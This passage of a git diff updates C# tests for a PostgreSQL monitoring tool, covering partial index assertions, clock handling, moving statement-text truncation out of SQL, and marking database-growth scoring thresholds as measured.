+    private static async Task<(long Dealloc, string Epoch)> DeallocAsync(NpgsqlConnection connection, CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand("SELECT dealloc, stats_reset::text FROM public.pg_stat_statements_info", connection);
+        await using var reader = await command.ExecuteReaderAsync(ct);
+        Assert.True(await reader.ReadAsync(ct));
+        return (reader.GetInt64(0), reader.IsDBNull(1) ? string.Empty : reader.GetString(1));
     }
 
     private sealed class NoOpDeltas : ICollectorDeltaCalculator
diff --git a/Darling/Darling.Tests/PgTableTuningTests.cs b/Darling/Darling.Tests/PgTableTuningTests.cs
index 1174e1788d..fa6e7e9422 100644
--- a/Darling/Darling.Tests/PgTableTuningTests.cs
+++ b/Darling/Darling.Tests/PgTableTuningTests.cs
@@ -49,6 +49,15 @@ was measured on the production store being priced out by the planner in favour o
            The column list is pinned against the read itself in ForcePlanFailuresAccessPathTests. */
         Assert.Contains("idx_query_store_stats_server_time_forcing ON collect.query_store_stats (server_id, collection_time DESC) INCLUDE (database_name, query_id, plan_id, force_failure_count, is_forced_plan, plan_forcing_type, last_force_failure_reason)", sql, StringComparison.Ordinal);
 
+        /* #4972: the legacy-row check's partial index — only rows with no interval start, so it is empty on a
+           field store. The statement text is exact: the predicate is what keeps it empty. */
+        Assert.Contains("CREATE INDEX IF NOT EXISTS idx_query_store_stats_server_time_null_start ON collect.query_store_stats (server_id, collection_time) WHERE interval_start_time_utc IS NULL", sql, StringComparison.Ordinal);
+
+        /* #4605: the restart-row partial indexes — only rows with sample_interval_seconds = 0, the rows the hourly
+           rollups exclude. The statement text is exact: the predicate is what keeps each one small. */
+        Assert.Contains("CREATE INDEX IF NOT EXISTS idx_query_stats_restart_rows_time ON collect.query_stats (collection_time) WHERE sample_interval_seconds = 0", sql, StringComparison.Ordinal);
+        Assert.Contains("CREATE INDEX IF NOT EXISTS idx_procedure_stats_restart_rows_time ON collect.procedure_stats (collection_time) WHERE sample_interval_seconds = 0", sql, StringComparison.Ordinal);
+
         /* #3934: the store-metrics latest read's skip-scan index — the (kind, name) prefix for the loose
            index scan that walks distinct objects, the full three columns for each object's per-key
            ORDER BY metric_time DESC LIMIT 1 probe. No INCLUDE: DarlingStoreMetricsReader.StoreMetricsLatestSql
@@ -58,7 +67,7 @@ The column list is pinned against the read itself in ForcePlanFailuresAccessPath
 
         /* Every remaining index is idempotent (no-op where a field box already hand-applied it, or a prior
            start made it); every #4247 drop is idempotent the same way (IF EXISTS no-ops once it is gone). */
-        Assert.Equal(4, CountOccurrences(sql, "CREATE INDEX IF NOT EXISTS"));   /* server_hash_time; server_db_query_plan_time; #3573 forced-plan covering index; #3934 store-metrics skip-scan index */
+        Assert.Equal(7, CountOccurrences(sql, "CREATE INDEX IF NOT EXISTS"));   /* server_hash_time; server_db_query_plan_time; #3573 forced-plan covering index; #4972 legacy-row partial index; #4605 two restart-row partial indexes; #3934 store-metrics skip-scan index */
         Assert.Equal(5, CountOccurrences(sql, "DROP INDEX IF EXISTS"));         /* #4247: the two handle indexes + the three composer covering indexes */
         Assert.DoesNotContain("CREATE INDEX ON", sql, StringComparison.Ordinal);
 
@@ -78,7 +87,7 @@ differ by one word and the wrong one would be silently inert. */
         Assert.Contains("ALTER TABLE collect.query_plan_dim SET (autovacuum_vacuum_scale_factor = 0.02, autovacuum_vacuum_threshold = 10000)", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("collect.query_plan_dim SET (autovacuum_vacuum_insert_scale_factor", sql, StringComparison.Ordinal);
 
-        Assert.Equal(14, PgTableTuning.Statements.Count);   /* unchanged by #4247: 5 CREATEs became 5 guarded DROPs in place, so the list is still 4 CREATE INDEX + 5 DROP INDEX + 5 ALTER TABLE */
+        Assert.Equal(17, PgTableTuning.Statements.Count);   /* 7 CREATE INDEX (#4972 added the legacy-row partial index, #4605 the two restart-row ones) + 5 DROP INDEX + 5 ALTER TABLE */
     }
 
     /// <summary>
diff --git a/Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs b/Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs
index 5b9d1f44ce..293a31edf4 100644
--- a/Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs
+++ b/Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs
@@ -29,6 +29,7 @@ namespace Darling.Tests;
 /// pass moved (<c>PgTargetIoTests</c>' hour-of-day collapse, <c>PgTargetWaitTests</c>' Single Lock edges,
 /// <c>PgTargetReplicationTests</c>' shift edge, the census counts) say so inline.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class PgTargetBetweenWavesV2Tests
 {
     private const long MiB = 1024 * 1024;
diff --git a/Darling/Darling.Tests/PgTargetConfigSnapshotBoundTests.cs b/Darling/Darling.Tests/PgTargetConfigSnapshotBoundTests.cs
index bf3a4ff0d9..f2dbf39917 100644
--- a/Darling/Darling.Tests/PgTargetConfigSnapshotBoundTests.cs
+++ b/Darling/Darling.Tests/PgTargetConfigSnapshotBoundTests.cs
@@ -212,7 +212,7 @@ public async Task TheDayPlansOnlyItsOwnChunks_AndTheNewestSnapshotStillWins_Agai
             await PgTargetFactCollectorTests.RegisterServerAsync(connection, PlanShapeServerId, ServerName, "postgres", 18, ct);
 
             /* shared_buffers 128 MB (16384 x 8kB) on every snapshot but the newest, which says 256 MB. */
-            var end = TruncateToSeconds(DateTime.UtcNow);
+            var end = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
             using (var seed = new NpgsqlCommand(@"
 INSERT INTO pg_server_config (collection_id, collection_time, server_id, server_name, name, setting, unit, source)
 SELECT 9_392_801_000 + (EXTRACT(EPOCH FROM t)::bigint % 1_000_000) * 10 + s.k, t, $1, $2, s.name,
@@ -283,7 +283,7 @@ public async Task ADarkTargetAndAHistoricalWindow_ReadTheSameSnapshotsAsTheUnbou
         {
             await DeleteSentinelsAsync(connection, ct);
             await using var postgres = NpgsqlDataSource.Create(connectionString!);
-            var now = TruncateToSeconds(DateTime.UtcNow);
+            var now = TruncateToSeconds(DateTime.SpecifyKind(LiveClock.Now(), DateTimeKind.Utc));
 
             /* Dark: the newest snapshot is 72 hours before the window's end; an older one disagrees with it. */
             await PgTargetFactCollectorTests.RegisterServerAsync(connection, DarkServerId, ServerName, "postgres", 18, ct);
diff --git a/Darling/Darling.Tests/PgTargetDeadlockDrillDownTests.cs b/Darling/Darling.Tests/PgTargetDeadlockDrillDownTests.cs
index f490df6c82..e7fb2bca6b 100644
--- a/Darling/Darling.Tests/PgTargetDeadlockDrillDownTests.cs
+++ b/Darling/Darling.Tests/PgTargetDeadlockDrillDownTests.cs
@@ -52,7 +52,7 @@ public void TheExemplarSql_GroupsByShapeNotByHash_WindowsOnOccurrenceWithTheColl
         Assert.Contains("WHERE server_id = $1", sql, StringComparison.Ordinal);
         Assert.Contains("AND   COALESCE(occurred_at, collection_time) >= $2", sql, StringComparison.Ordinal);
         Assert.Contains("AND   COALESCE(occurred_at, collection_time) <= $3", sql, StringComparison.Ordinal);
-        Assert.Contains("AND   collection_time >= $7", sql, StringComparison.Ordinal);
+        Assert.Contains("AND   collection_time >= $5", sql, StringComparison.Ordinal);
         /* The shape, and the recurrence as distinct REPORTS within it. */
         Assert.Contains("GROUP BY participant_count, lock_modes, resources", sql, StringComparison.Ordinal);
         Assert.Contains("count(DISTINCT deadlock_hash)", sql, StringComparison.Ordinal);
@@ -63,10 +63,13 @@ public void TheExemplarSql_GroupsByShapeNotByHash_WindowsOnOccurrenceWithTheColl
         Assert.Contains("count(*) OVER ()", sql, StringComparison.Ordinal);
         Assert.Contains("SUM(reports) OVER ()", sql, StringComparison.Ordinal);
         Assert.Contains("SUM(rows_captured) OVER ()", sql, StringComparison.Ordinal);
-        /* Bounded in the read, with the untruncated lengths for the flags. */
-        Assert.Contains("LEFT(latest_victim_statement, $5)", sql, StringComparison.Ordinal);
+        /* #5320: the statement and graph come back WHOLE, for the filter to judge before the caps cut them in C#, with the
+           untruncated lengths for the flags. */
+        Assert.DoesNotContain("LEFT(latest_victim_statement", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LEFT(latest_graph_text", sql, StringComparison.Ordinal);
+        Assert.Contains("latest_victim_statement                              AS victim_statement", sql, StringComparison.Ordinal);
+        Assert.Contains("latest_graph_text                                    AS graph_text", sql, StringComparison.Ordinal);
         Assert.Contains("length(latest_victim_statement)", sql, StringComparison.Ordinal);
-        Assert.Contains("LEFT(latest_graph_text, $6)", sql, StringComparison.Ordinal);
         Assert.Contains("length(latest_graph_text)", sql, StringComparison.Ordinal);
         /* Store clock discipline and dialect. */
         Assert.DoesNotContain("now(", sql, StringComparison.OrdinalIgnoreCase);
diff --git a/Darling/Darling.Tests/PgTargetGrowthLiveTests.cs b/Darling/Darling.Tests/PgTargetGrowthLiveTests.cs
index 3d0b20151e..7c788b4f6f 100644
--- a/Darling/Darling.Tests/PgTargetGrowthLiveTests.cs
+++ b/Darling/Darling.Tests/PgTargetGrowthLiveTests.cs
@@ -32,7 +32,7 @@ namespace Darling.Tests;
 /// straight-line days-to-double, the unsized database counted and the total marked unavailable; through the REAL
 /// <c>analyze_server</c>: a finding rooted on it whose headline names the database and the doubling estimate, with
 /// PostgreSQL <c>next_tools</c>, and <c>get_analysis_facts source=pg_growth</c> showing it with
-/// <c>threshold_lineage = 0</c>. The growth-rate anomaly is ALSO exercised on the live store: its baseline arm and
+/// <c>threshold_lineage = 1</c>. The growth-rate anomaly is ALSO exercised on the live store: its baseline arm and
 /// window read run against the planted series (the total is NULL here by design, so the detector is silent — the
 /// brief's "silent where the total is NULL" arm, asserted), and a second planting with a sized instance proves the
 /// SQL of both reads executes and the arm yields buckets. Gated on <c>DARLING_TEST_PG</c>; <c>[Collection("live-postgres")]</c>
@@ -135,10 +135,10 @@ lookback at 500 GB must not be the earliest. */
             Assert.DoesNotContain(trend.Metadata.Keys, k => k.Contains("vendor", StringComparison.Ordinal));
 
             /* Scored: 40 GiB is past the bytes critical (1.0); 40 % is past the fraction critical (1.0) → 1.0, database
-               subject, lineage 0. */
+               subject, lineage 1 (measured, #4404). */
             new FactScorer().ScoreAll(facts);
             Assert.Equal(1.0, trend.BaseSeverity, precision: 9);
-            Assert.Equal(0, trend.Metadata["threshold_lineage"]);
+            Assert.Equal(1, trend.Metadata["threshold_lineage"]);
             Assert.Equal(PgTargetScorer.GrowthSubjectDatabase, trend.Metadata[PgTargetScorer.GrowthGradedSubjectKey]);
 
             /* ── the anomaly side on the live store: the total is NULL on every row, so the baseline arm yields NO
@@ -177,7 +177,7 @@ lookback at 500 GB must not be the earliest. */
                 Assert.DoesNotContain(tools, t => t.StartsWith("get_wait", StringComparison.Ordinal) || t.StartsWith("get_index", StringComparison.Ordinal) || t == "get_database_sizes");
             }
 
-            /* The facts read shows the family under its source with the unmeasured-lineage flag. */
+            /* The facts read shows the family under its source with the measured-lineage flag. */
             var factsJson = await DarlingMcpTools.GetAnalysisFacts(service, postgres, ServerName, 4, PgTargetSources.GrowthSource);
             using (var doc = JsonDocument.Parse(factsJson))
             {
@@ -185,7 +185,7 @@ lookback at 500 GB must not be the earliest. */
                 Assert.Equal(1, root.GetProperty("shown").GetInt32());
                 var fact = Assert.Single(root.GetProperty("facts").EnumerateArray());
                 Assert.Equal(PgTargetFactKeys.DatabaseGrowth, fact.GetProperty("key").GetString());
-                Assert.Equal(0, fact.GetProperty("metadata").GetProperty("threshold_lineage").GetDouble());
+                Assert.Equal(1, fact.GetProperty("metadata").GetProperty("threshold_lineage").GetDouble());
             }
 
             /* ── a SIZED instance: re-plant with vendor sized too (total = the four), so the total's trend exists and
diff --git a/Darling/Darling.Tests/PgTargetGrowthTests.cs b/Darling/Darling.Tests/PgTargetGrowthTests.cs
index 25e23e967e..801a3152ca 100644
--- a/Darling/Darling.Tests/PgTargetGrowthTests.cs
+++ b/Darling/Darling.Tests/PgTargetGrowthTests.cs
@@ -36,7 +36,7 @@ public sealed class PgTargetGrowthTests
     /* ── the constants ── */
 
     [Fact]
-    public void TheBars_AreTheBriefsValues_AllUnmeasured_AndNoneIsASqlServerConstant()
+    public void TheBars_AreTheBriefsValues_MeasuredNotMoved_TheBoostsUnmeasured_AndNoneIsASqlServerConstant()
     {
         Assert.Equal(14, PgTargetScorer.GrowthLookbackDays);
         Assert.Equal(GiB, PgTargetScorer.GrowthConcerningBytes);
@@ -49,17 +49,28 @@ public void TheBars_AreTheBriefsValues_AllUnmeasured_AndNoneIsASqlServerConstant
         Assert.Equal(2.0 * GiB, AnomalyThresholds.PgDatabaseGrowthFallbackBytesPerDay);
         Assert.True(AnomalyThresholds.PgDatabaseGrowthFallbackBytesPerDay > AnomalyThresholds.PgDatabaseGrowthFloorBytesPerDay);
 
-        /* Every bar says unmeasured in the block above it, and names the table to calibrate against. */
+        /* #4404: the six bars were measured over 14 days (2026-10-06) and stand as written, so each says measured in the
+           block above it (PgTargetMeasuredLineageTests pins the date and population); the two co-fire boosts are severity
+           lifts the read did not grade and still say unmeasured. */
         var scorer = RepoFile.ReadRepoFile("PerformanceMonitor.Analysis", "PgTargetScorer.Growth.cs").Replace("\r\n", "\n", StringComparison.Ordinal).Split('\n');
-        foreach (var name in new[] { "GrowthLookbackDays", "GrowthConcerningBytes", "GrowthConcerningFraction", "GrowthCriticalBytes", "GrowthCriticalFraction", "GrowthMinimumSamples", "GrowthBloatCoFireBoost", "GrowthAnomalyCoFireBoost" })
+        foreach (var name in new[] { "GrowthLookbackDays", "GrowthConcerningBytes", "GrowthConcerningFraction", "GrowthCriticalBytes", "GrowthCriticalFraction", "GrowthMinimumSamples" })
         {
             var at = Array.FindIndex(scorer, l => l.Contains($" {name} = ", StringComparison.Ordinal));
             Assert.True(at > 0, name);
-            var block = string.Join('\n', scorer[Math.Max(0, at - 12)..at]);
+            var block = string.Join('\n', scorer[Math.Max(0, at - 16)..at]);
+            Assert.Contains("measured: confirmed, not moved", block, StringComparison.Ordinal);
+            Assert.DoesNotContain("unmeasured", block, StringComparison.Ordinal);
+        }
+        foreach (var name in new[] { "GrowthBloatCoFireBoost", "GrowthAnomalyCoFireBoost" })
+        {
+            var at = Array.FindIndex(scorer, l => l.Contains($" {name} = ", StringComparison.Ordinal));
+            Assert.True(at > 0, name);
+            var block = string.Join('\n', scorer[Math.Max(0, at - 6)..at]);
             Assert.Contains("unmeasured", block, StringComparison.Ordinal);
-            Assert.DoesNotContain("<b>measured</b>", block, StringComparison.Ordinal);
         }
-        Assert.DoesNotContain("[\"threshold_lineage\"] = 1", string.Join('\n', scorer), StringComparison.Ordinal);
+        /* The family stamps measured on its one exit and never the old chosen 0 (the boosts are not bars). */
+        Assert.Contains("[\"threshold_lineage\"] = 1;", string.Join('\n', scorer), StringComparison.Ordinal);
+        Assert.DoesNotContain("[\"threshold_lineage\"] = 0", string.Join('\n', scorer), StringComparison.Ordinal);
 
         var thresholds = RepoFile.ReadRepoFile("PerformanceMonitor.Analysis", "Baselines", "AnomalyThresholds.cs");
         foreach (var name in new[] { "PgDatabaseGrowthFloorBytesPerDay", "PgDatabaseGrowthFallbackBytesPerDay" })
@@ -97,7 +108,7 @@ public void TheGrade_IsZeroUnderEitherLine_AndAnEarliestZeroPassesTheFractionArm
     }
 
     [Fact]
-    public void TheFact_GradesTheBestNamedDatabaseOrTheInstanceTotal_StampsTheSubject_AndAlwaysLineageZero()
+    public void TheFact_GradesTheBestNamedDatabaseOrTheInstanceTotal_StampsTheSubject_AndAlwaysLineageOne()
     {
         /* appdb 2 GiB / 20 %: bytes 0.5556, pct 0.8333 → 0.5556. reporting 1.2 GiB / 5 %: under the fraction line.
            The total 3.2 GiB / 4 %: under the line. The database leads. */
@@ -107,7 +118,7 @@ public void TheFact_GradesTheBestNamedDatabaseOrTheInstanceTotal_StampsTheSubjec
         var expectedBytes = 0.5 + 0.5 * (2.0 * GiB - GiB) / (9.0 * GiB);
         Assert.Equal(expectedBytes, PgTargetScorer.ScoreBase(fact), precision: 9);
         Assert.Equal(PgTargetScorer.GrowthSubjectDatabase, fact.Metadata[PgTargetScorer.GrowthGradedSubjectKey]);
-        Assert.Equal(0, fact.Metadata["threshold_lineage"]);
+        Assert.Equal(1, fact.Metadata["threshold_lineage"]);
 
         /* The instance leads: three databases each 900 MiB / 15 % (under the bytes line alone), the total 2.7 GiB / 15 %. */
         var instance = Growth(
@@ -122,7 +133,7 @@ public void TheFact_GradesTheBestNamedDatabaseOrTheInstanceTotal_StampsTheSubjec
         var quiet = Growth(("appdb", 10 * GiB, 10 * GiB + 500 * MiB), total: (20 * GiB, 20 * GiB + 500 * MiB));
         Assert.Equal(0.0, PgTargetScorer.ScoreBase(quiet));
         Assert.Equal(0, quiet.Metadata[PgTargetScorer.GrowthGradedSubjectKey]);
-        Assert.Equal(0, quiet.Metadata["threshold_lineage"]);
+        Assert.Equal(1, quiet.Metadata["threshold_lineage"]);
 
         /* No total (an unsized database NULLs it): the databases alone decide, and nothing is summed to stand in. */
         var noTotal = Growth(("appdb", 10 * GiB, 12 * GiB), total: null);
@@ -131,11 +142,11 @@ public void TheFact_GradesTheBestNamedDatabaseOrTheInstanceTotal_StampsTheSubjec
     }
 
     [Fact]
-    public void TheWithheldShapes_ScoreZero_WithTheirReason_AndLineageZero()
+    public void TheWithheldShapes_ScoreZero_WithTheirReason_AndLineageOne()
     {
         var insufficient = Withheld(PgTargetScorer.GrowthReasonInsufficientSamples, seen: 3, unsized: 0);
         Assert.Equal(0.0, PgTargetScorer.ScoreBase(insufficient));
-        Assert.Equal(0, insufficient.Metadata["threshold_lineage"]);
+        Assert.Equal(1, insufficient.Metadata["threshold_lineage"]);
         var allUnsized = Withheld(PgTargetScorer.GrowthReasonAllUnsized, seen: 3, unsized: 3);
         Assert.Equal(0.0, PgTargetScorer.ScoreBase(allUnsized));
         /* Amplifiers never lift a withheld fact: FactScorer skips them at base 0. */
@@ -279,8 +290,9 @@ public void TheComposedCard_IsValueStated_NamesTheSlopeAndTheStraightLineDoublin
         Assert.Contains("and 138 GB at its latest (336 hourly samples, 14 days apart at the ends)", block.Investigation, StringComparison.Ordinal);
         Assert.Contains("a straight-line extrapolation of the lookback's slope, not a forecast", block.Investigation, StringComparison.Ordinal);
         Assert.Contains("The instance total moved from 200 GB to 240 GB", block.Investigation, StringComparison.Ordinal);
-        Assert.Contains("The line is chosen, not measured", block.Investigation, StringComparison.Ordinal);
-        Assert.Contains("threshold_lineage = 0 on this fact", block.Investigation, StringComparison.Ordinal);
+        Assert.Contains("The line is measured against the dogfood fleet", block.Investigation, StringComparison.Ordinal);
+        Assert.DoesNotContain("chosen, not measured", block.Investigation, StringComparison.Ordinal);
+        Assert.Contains("threshold_lineage = 1 on this fact", block.Investigation, StringComparison.Ordinal);
         Assert.Contains("This database crossed it.", block.Investigation, StringComparison.Ordinal);
         Assert.Contains("Next by growth: reporting (1 GB, 4.2%)", block.Investigation, StringComparison.Ordinal);
         Assert.Contains("Population: 2 databases seen in the lookback, 0 unsized, 2 with at least 3 samples, 1 over the line.", block.Investigation, StringComparison.Ordinal);
@@ -322,7 +334,11 @@ public void TheWithheldCards_SayWhichGateWithheldIt_AndNeverReadAsNoGrowth()
         var block = PgTargetAdvice.Compose(PgTargetFactKeys.DatabaseGrowth, Lookup(insufficient))!;
         Assert.Equal("Database growth has sized databases, but none has 3 hourly samples in the lookback yet", block.Headline);
         Assert.Contains("a withheld trend never reads as zero growth", block.Investigation, StringComparison.Ordinal);
-        Assert.Contains("threshold_lineage = 0 on this fact", block.Investigation, StringComparison.Ordinal);
+        Assert.Contains("threshold_lineage = 1 on this fact", block.Investigation, StringComparison.Ordinal);
+        // The card shows only when the minimum DID bind for this target: it must say what the minimum is for, never
+        // that it "does not bind" (#4404 review F3).
+        Assert.Contains("a floor on store age", block.Investigation, StringComparison.Ordinal);
+        Assert.DoesNotContain("does not bind", block.Investigation, StringComparison.Ordinal);
         Assert.Contains("Nothing to do but wait for the collector", block.Remediation, StringComparison.Ordinal);
 
         var unsized = Withheld(PgTargetScorer.GrowthReasonAllUnsized, seen: 2, unsized: 2);
diff --git a/Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs b/Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs
index aa8697a66b..fafd52cb96 100644
--- a/Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs
+++ b/Darling/Darling.Tests/PgTargetMeasuredLineageTests.cs
@@ -30,7 +30,7 @@ namespace Darling.Tests;
 /// a bar then means re-reading the fleet or rewriting the comment as unmeasured, and either is honest.</para>
 ///
 /// <para><b>Round 4 (#4404).</b> The host-memory reclaimable bars, the sustain length and the overcommit band are measured
-/// as the empty interval (2026-09-29, 7 days, Aurora clusters); the growth bars and every boost stay unmeasured.</para>
+/// as the empty interval (2026-09-29, 7 days, Aurora clusters); the growth bars were measured in round 5 (2026-10-06, #4404, 14 days over 393 databases) and confirmed as written; the two co-fire boosts and the anomaly pair stay unmeasured.</para>
 ///
 /// <para><b>What stays unmeasured, on purpose.</b> The sampling floor and the sampled profile's bar (population 0
 /// on the fleet as of 2026-09-20 — no cluster runs <c>pg_wait_sampling</c>), the session-count floors (read as a
@@ -52,6 +52,8 @@ public sealed class PgTargetMeasuredLineageTests
     private const string SecondCalibrationDate = "2026-09-20";
     /// <summary>The fourth read (#4404, batch D re-fire): host-memory reclaimable share and the configured overcommit ratio, 7 d.</summary>
     private const string FourthCalibrationDate = "2026-09-29";
+    /// <summary>The fifth read (#4404, D4/D4B): 14 days of <c>pg_database_size_stats</c> over 393 databases, the six growth bars confirmed as written.</summary>
+    private const string FifthCalibrationDate = "2026-10-06";
     private const string Population = "Aurora PostgreSQL clusters";
 
     private static readonly Regex s_constDeclaration = new(
@@ -80,6 +82,8 @@ private static readonly (string File, string Date, string[] Constants)[] s_measu
         ("Baselines/AnomalyThresholds.cs", SecondCalibrationDate, new[] { "PgRatioAnomalyThreshold" }),
         /* Round 4 (#4404, D1/D2 re-fire): the memory bars, measured as the empty interval. */
         ("PgTargetScorer.Memory.cs", FourthCalibrationDate, new[] { "OvercommitCriticalRatio", "HostMemoryReclaimableWarningShare", "HostMemoryReclaimableCriticalShare", "HostMemoryPressureSustainSamples" }),
+        /* Round 5 (#4404, D4/D4B): the six growth bars, graded over the full 14 days and confirmed as written. */
+        ("PgTargetScorer.Growth.cs", FifthCalibrationDate, new[] { "GrowthLookbackDays", "GrowthConcerningBytes", "GrowthConcerningFraction", "GrowthCriticalBytes", "GrowthCriticalFraction", "GrowthMinimumSamples" }),
     };
 
     /// <summary>The bars the calibrations did NOT measure, which must still say so.</summary>
@@ -101,9 +105,9 @@ private static readonly (string File, string[] Constants)[] s_stillUnmeasured =
         ("Baselines/AnomalyThresholds.cs", new[] { "PgStatementMeanMsFloor", "PgStatementMeanMsFallback" }),
         /* #3691: the memory family's boosts — severity lifts, not bars; round 4 (2026-09-29) measured the bars, not these. */
         ("PgTargetScorer.Memory.cs", new[] { "OvercommitCriticalBandBoost", "HostMemoryCauseBoost" }),
-        /* Lane 38 (#3691): the object-growth family — pg_database_size_stats (V136) is one day old at the family's birth; the
-           2026-09-19 calibration ran before it existed, so every bar is chosen and the family stamps threshold_lineage = 0. */
-        ("PgTargetScorer.Growth.cs", new[] { "GrowthLookbackDays", "GrowthConcerningBytes", "GrowthConcerningFraction", "GrowthCriticalBytes", "GrowthCriticalFraction", "GrowthMinimumSamples", "GrowthBloatCoFireBoost", "GrowthAnomalyCoFireBoost" }),
+        /* Lane 38 (#3691): the object-growth family's co-fire boosts are severity lifts, not bars; the 2026-10-06 read (#4404)
+           measured the six bars, not these. The anomaly pair below was not graded by that read either. */
+        ("PgTargetScorer.Growth.cs", new[] { "GrowthBloatCoFireBoost", "GrowthAnomalyCoFireBoost" }),
         ("Baselines/AnomalyThresholds.cs", new[] { "PgDatabaseGrowthFloorBytesPerDay", "PgDatabaseGrowthFallbackBytesPerDay" }),
         /* The ratio families' ramp spans: the 2026-09-20 read placed the firing multiple, not where a ramp should top out. */
         ("PgTargetScorer.Anomaly.cs", new[] { "RatioAnomalySaturation", "WaitProfileModifiedZSpan" }),
@@ -178,7 +182,7 @@ public void TheBarsTheCalibrationCouldNotRead_StillSayUnmeasured()
     [Fact]
     public void TheMetadataFlag_AgreesWithTheCommentsFileByFile()
     {
-        foreach (var file in new[] { "PgTargetScorer.Temp.cs", "PgTargetScorer.Vacuum.cs", "PgTargetScorer.Database.cs", "PgTargetScorer.Cpu.cs", "PgTargetScorer.Sessions.cs", "PgTargetScorer.Memory.cs" })
+        foreach (var file in new[] { "PgTargetScorer.Temp.cs", "PgTargetScorer.Vacuum.cs", "PgTargetScorer.Database.cs", "PgTargetScorer.Cpu.cs", "PgTargetScorer.Sessions.cs", "PgTargetScorer.Memory.cs", "PgTargetScorer.Growth.cs" })
         {
             var source = string.Join("\n", Source(file));
             Assert.Contains("[\"threshold_lineage\"] = 1;", source, StringComparison.Ordinal);
@@ -214,6 +218,70 @@ chosen context band grades an admitted one (0) — exactly one stamp of each, th
         Assert.Contains("[\"threshold_lineage\"] = barsMeasured ? 1 : 0,", detector, StringComparison.Ordinal);
     }
 
+    /// <summary>The growth scorer stamps ONE blanket <c>threshold_lineage</c> for every bar it declares, so a new bar
+    /// added there must be filed as measured or unmeasured here, or it ships under the stamp unclassified: the
+    /// per-constant pins above only see the constants they name (#4404 review F1). Parses the source the way the rest
+    /// of the class does (a regex over the LF-normalised file) and takes every numeric <c>public const</c>; the string
+    /// constants are metadata keys, and the reason and subject codes and the top-N count are not bars.</summary>
+    [Fact]
+    public void EveryNumericConstantInTheGrowthScorer_IsFiledAsMeasuredOrUnmeasured()
+    {
+        const string file = "PgTargetScorer.Growth.cs";
+        var offenders = UnclassifiedBars(Source(file), file);
+
+        Assert.True(
+            offenders.Count == 0,
+            "PgTargetScorer.Growth.cs stamps one threshold_lineage for every bar it declares; each numeric constant "
+            + "must be listed in s_measured or s_stillUnmeasured so a new bar cannot ride the blanket stamp unmarked:"
+            + Environment.NewLine + string.Join(Environment.NewLine, offenders));
+    }
+
+    [Fact]
+    public void TheGrowthCensus_NamesAnArrangedNewBar_AndSkipsTheNonBars()
+    {
+        var lines = new[]
+        {
+            "    public const double GrowthNewBar = 1;",
+            "    public const int GrowthReasonInsufficientSamples = 1;",
+            "    public const int GrowthSubjectDatabase = 1;",
+            "    public const int GrowthTopDatabases = 3;",
+            "    public const string GrowthSomethingKey = \"x\";",
+            "    public const int GrowthMinimumSamples = 3;",
+        };
+
+        var offenders = UnclassifiedBars(lines, "PgTargetScorer.Growth.cs");
+
+        Assert.Single(offenders);
+        Assert.Contains("GrowthNewBar", offenders[0], StringComparison.Ordinal);
+    }
+
+    private static readonly Regex s_numericConst = new(
+        @"^\s*public\s+const\s+(?:int|long|double)\s+(\w+)\s*=", RegexOptions.Compiled | RegexOptions.CultureInvariant);
+
+    private static List<string> UnclassifiedBars(string[] lines, string file)
+    {
+        var filed = new HashSet<string>(StringComparer.Ordinal);
+        foreach (var (f, _, constants) in s_measured)
+            if (f == file) filed.UnionWith(constants);
+        foreach (var (f, constants) in s_stillUnmeasured)
+            if (f == file) filed.UnionWith(constants);
+
+        var offenders = new List<string>();
+        foreach (var line in lines)
+        {
+            var m = s_numericConst.Match(line);
+            if (!m.Success) continue;
+            var name = m.Groups[1].Value;
+            if (name.StartsWith("GrowthReason", StringComparison.Ordinal)
+                || name.StartsWith("GrowthSubject", StringComparison.Ordinal)
+                || name == "GrowthTopDatabases")
+                continue;
+            if (!filed.Contains(name))
+                offenders.Add($"{file}::{name} is a numeric constant listed in neither s_measured nor s_stillUnmeasured");
+        }
+        return offenders;
+    }
+
     /* ── the walk-up, exercised on an arranged input so the pin is known to bite ── */
 
     [Fact]
diff --git a/Darling/Darling.Tests/PgTargetQueriesTests.cs b/Darling/Darling.Tests/PgTargetQueriesTests.cs
index 5ec4a8ddd8..059312e382 100644
--- a/Darling/Darling.Tests/PgTargetQueriesTests.cs
+++ b/Darling/Darling.Tests/PgTargetQueriesTests.cs
@@ -716,7 +716,12 @@ public void TheDrillDown_JoinsTheTextForDisplayAndHash_ParsesTheQueryidFromTheKe
         Assert.Contains("FROM pg_statement_stats", sql, StringComparison.Ordinal);
         Assert.Contains("AND   queryid = $4", sql, StringComparison.Ordinal);
         Assert.Contains("LEFT JOIN pg_statement_text AS t", sql, StringComparison.Ordinal);
-        Assert.Contains("LEFT(MAX(t.query_text), $5)", sql, StringComparison.Ordinal);
+        /* #5320: the text comes back WHOLE and the reader judges it, then cuts it to StatementTextCap; the SQL no longer cuts it
+           (no LEFT, no $5). The hash is the one dev always computed: over the whole MAX(t.query_text), never over a cut or a
+           judged text, so a stored text_hash keeps its meaning for rows already stored. */
+        Assert.Contains("MAX(t.query_text)                                            AS query_text", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("LEFT(", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$5", sql, StringComparison.Ordinal);
         Assert.Contains("hashtext(MAX(t.query_text))", sql, StringComparison.Ordinal);
         Assert.Contains("MAX(t.first_seen)", sql, StringComparison.Ordinal);
         Assert.Contains("PARTITION BY queryid, database_id, user_id, toplevel", sql, StringComparison.Ordinal);
@@ -730,6 +735,10 @@ public void TheDrillDown_JoinsTheTextForDisplayAndHash_ParsesTheQueryidFromTheKe
         /* In CODE: the doc comment names DeSkew to say why it is absent, and prose is not a call. */
         Assert.DoesNotContain("DeSkew", CSharpSourceWalker.StripCommentsAndStrings(source), StringComparison.Ordinal);
         Assert.Contains("CommandTimeout = DarlingAnalysisService.AnalysisCommandTimeoutSeconds", source, StringComparison.Ordinal);
+        /* Judged whole, then cut to the same length the SQL cut used to leave ($5 = StatementTextCap), in both readers. */
